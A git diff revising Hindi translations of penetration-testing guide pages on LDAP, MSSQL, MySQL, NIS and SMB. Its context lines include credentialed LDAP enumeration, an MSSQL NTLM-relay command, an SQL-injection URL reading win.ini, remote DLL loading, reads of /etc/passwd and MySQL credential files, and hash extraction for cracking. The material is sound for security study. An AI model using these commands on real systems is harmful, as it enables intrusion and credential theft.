ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**डोमेन उपयोगकर्ता निकालें**:
**डोमेन उपयोगकर्ता**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -270,11 +270,11 @@ echo "$line";
echo "======================"
done
```
## ग्राफिकल इंटरफेस
## Graphical Interface
### Apache Directory
[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html) आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)
[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html). आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
@ -300,9 +300,9 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
आप इसे [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) से प्राप्त कर सकते हैं।
## kerberos के माध्यम से प्रमाणीकरण
## Authentication via kerberos
`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ **प्रमाणित** कर सकते हैं, इसके लिए पैरामीटर `-Y GSSAPI` का उपयोग करें।
`ldapsearch` का उपयोग करके आप **kerberos के खिलाफ** **NTLM** के बजाय **प्रमाणीकृत** कर सकते हैं, इसके लिए `-Y GSSAPI` पैरामीटर का उपयोग करें।
## POST
@ -310,7 +310,7 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक बिना 'structural' जोड़े) दे सकते हैं।
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक 'structural' जोड़े बिना) दे सकते हैं।
### कॉन्फ़िगरेशन फ़ाइलें
@ -335,7 +335,7 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- Sun ONE Directory Server 5.1
- 75sas.ldif
## HackTricks स्वचालित आदेश
## HackTricks स्वचालित कमांड
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किए जाने पर उसे पुनः प्राप्त करना है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।
> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।
**डिफ़ॉल्ट पोर्ट:** 1433
```
@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
- **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहा आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
- **Resource Database**: एक केवल-पढ़ने योग्य डेटाबेस जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहा आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
- **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
## Enumeration
@ -32,7 +32,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
> [!NOTE]
> यदि आपके पास **क्रेडेंशियल्स** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं।
#### Metasploit (क्रेडेंशियल्स की आवश्यकता)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -156,13 +156,13 @@ SELECT * FROM sysusers
#### अनुमतियाँ प्राप्त करें
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
- **सर्वर** उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
- **डेटाबेस** उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
- **स्कीमा** इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
- **सर्वर स्तर** लॉगिन का उपयोग करके
- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करके
3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
- **Server** उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
- **Database** उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
- **Schema** इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
- **Server Level** लॉगिन का उपयोग करके
- **Database Level** उपयोगकर्ताओं का उपयोग करके
3. **Principal:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं में शामिल होते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### OS कमांड्स चलाना
> [!CAUTION]
> ध्यान दें कि कमांड्स चलाने के लिए केवल **`xp_cmdshell`** **सक्रिय** होना आवश्यक नहीं है, बल्कि **`xp_cmdshell` स्टोर की गई प्रक्रिया पर EXECUTE अनुमति भी होनी चाहिए**। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
> ध्यान दें कि कमांड्स चलाने के लिए केवल **`xp_cmdshell`** **सक्रिय** होना ही आवश्यक नहीं है, बल्कि **`xp_cmdshell` स्टोर की गई प्रक्रिया पर EXECUTE अनुमति भी होनी चाहिए**। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
>
> ```sql
> Use master
@ -269,8 +269,8 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
आप देख सकते हैं कि इन उपकरणों का उपयोग कैसे करें:
**Responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)**
### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp_cmdshell** का उपयोग करके कमांड्स चलाता है।
@ -341,7 +341,7 @@ print(sys.version)
'
GO
```
### रजिस्ट्र्री पढ़ें
### रजिस्ट्रि पढ़ें
Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ इंटरैक्ट करने की अनुमति देती हैं:**
@ -370,13 +370,13 @@ For **अधिक उदाहरणों** के लिए [**मूल स
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
यह **कस्टम फ़ंक्शंस** के साथ MSSQL के भीतर एक .NET dll **लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
यह **कस्टम फ़ंक्शंस के साथ MSSQL के भीतर एक .NET dll लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
[**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए।
### RCE with `autoadmin_task_agents`
[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), एक रिमोट dll लोड करना और MSSQL को इसे कुछ इस तरह से निष्पादित करना भी संभव है:
[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), यह भी संभव है कि एक रिमोट dll लोड करें और MSSQL को इसे कुछ इस तरह से निष्पादित करने के लिए मजबूर करें:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
@ -432,13 +432,13 @@ public void Test()
```
### अन्य तरीके RCE के लिए
कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)
कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL विशेषाधिकार वृद्धि
### db_owner से sysadmin तक
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाल **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाल **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -527,7 +527,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQL का उपयोग करना स्थिरता के लिए
## MSSQL का उपयोग करना स्थायीता के लिए
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

View File

@ -116,7 +116,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(ध्यान दें "local" शब्द)\
(शब्द "local" पर ध्यान दें)\
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -124,8 +124,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -147,8 +147,8 @@ MySQL सेवाओं की कॉन्फ़िगरेशन में,
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावन उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
### विशेषाधिकार वृद्धि
@ -175,7 +175,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
यदि आपके पास वे लाइब्रेरी **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकत हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकत हैं**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -222,9 +222,9 @@ cat /etc/mysql/debian.cnf
```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**
फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
आप न्हें निकाल सकते हैं:
आप न्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

View File

@ -4,18 +4,18 @@
## Basic Information
**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
**Network Time Protocol (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीकता से समन्वयित करें। यह आईटी संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
### Summary & Security Tips:
- **उद्देश्य**: नेटवर्क पर उपकरणों की घड़ियों को समन्वयित करना
- **महत्व**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
- **सुरक्षा उपाय**:
- **Purpose**: नेटवर्क पर उपकरणों की घड़ियों को समन्वयित करता है
- **Importance**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
- **Security Measures**:
- प्रमाणीकरण के साथ विश्वसनीय NTP स्रोतों का उपयोग करें।
- NTP सर्वर नेटवर्क पहुंच को सीमित करें।
- छेड़छाड़ के संकेतों के लिए समन्वय की निगरानी करें।
**डिफ़ॉल्ट पोर्ट:** 123/udp
**Default port:** 123/udp
```
PORT STATE SERVICE REASON
123/udp open ntp udp-response

View File

@ -4,7 +4,7 @@
## Basic Information
**Portmapper** एक सेवा है जिसका उपयोग नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाता है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Portmapper** एक सेवा है जिसका उपयोग नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, जो इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाता है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
@ -26,11 +26,11 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) कर सकेंगे:
यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) करने में सक्षम होंगे:
![](<../images/image (872).png>)
इस प्रोटोकॉल का परीक्षण करने के बारे में अधिक जानने के लिए पढ़ें[ 2049 - Pentesting NFS service](nfs-service-pentesting.md).
Read[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) इस प्रोटोकॉल का परीक्षण करने के बारे में अधिक जानने के लिए।
## NIS
@ -38,9 +38,9 @@ nmap -sSUC -p111 192.168.10.1
![](<../images/image (859).png>)
खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि डोमेन नाम और सर्वर IP के साथ इसे पिंग करके NIS सर्वर की उपस्थिति की पुष्टि की जा सके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि NIS सर्वर की उपस्थिति की पुष्टि की जा सके, इसे डोमेन नाम और सर्वर IP के साथ पिंग करके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, जैसे **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
```bash
# Install NIS tools
apt-get install nis

View File

@ -4,27 +4,27 @@
## **Port 139**
_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए एक आदेश जारी करता है दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) का उपयोग करते हुए **TCP Port 139**
_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, पीसी और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) क**TCP पोर्ट 139** का उपयोग करते हुए एक कमांड जारी करता है
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
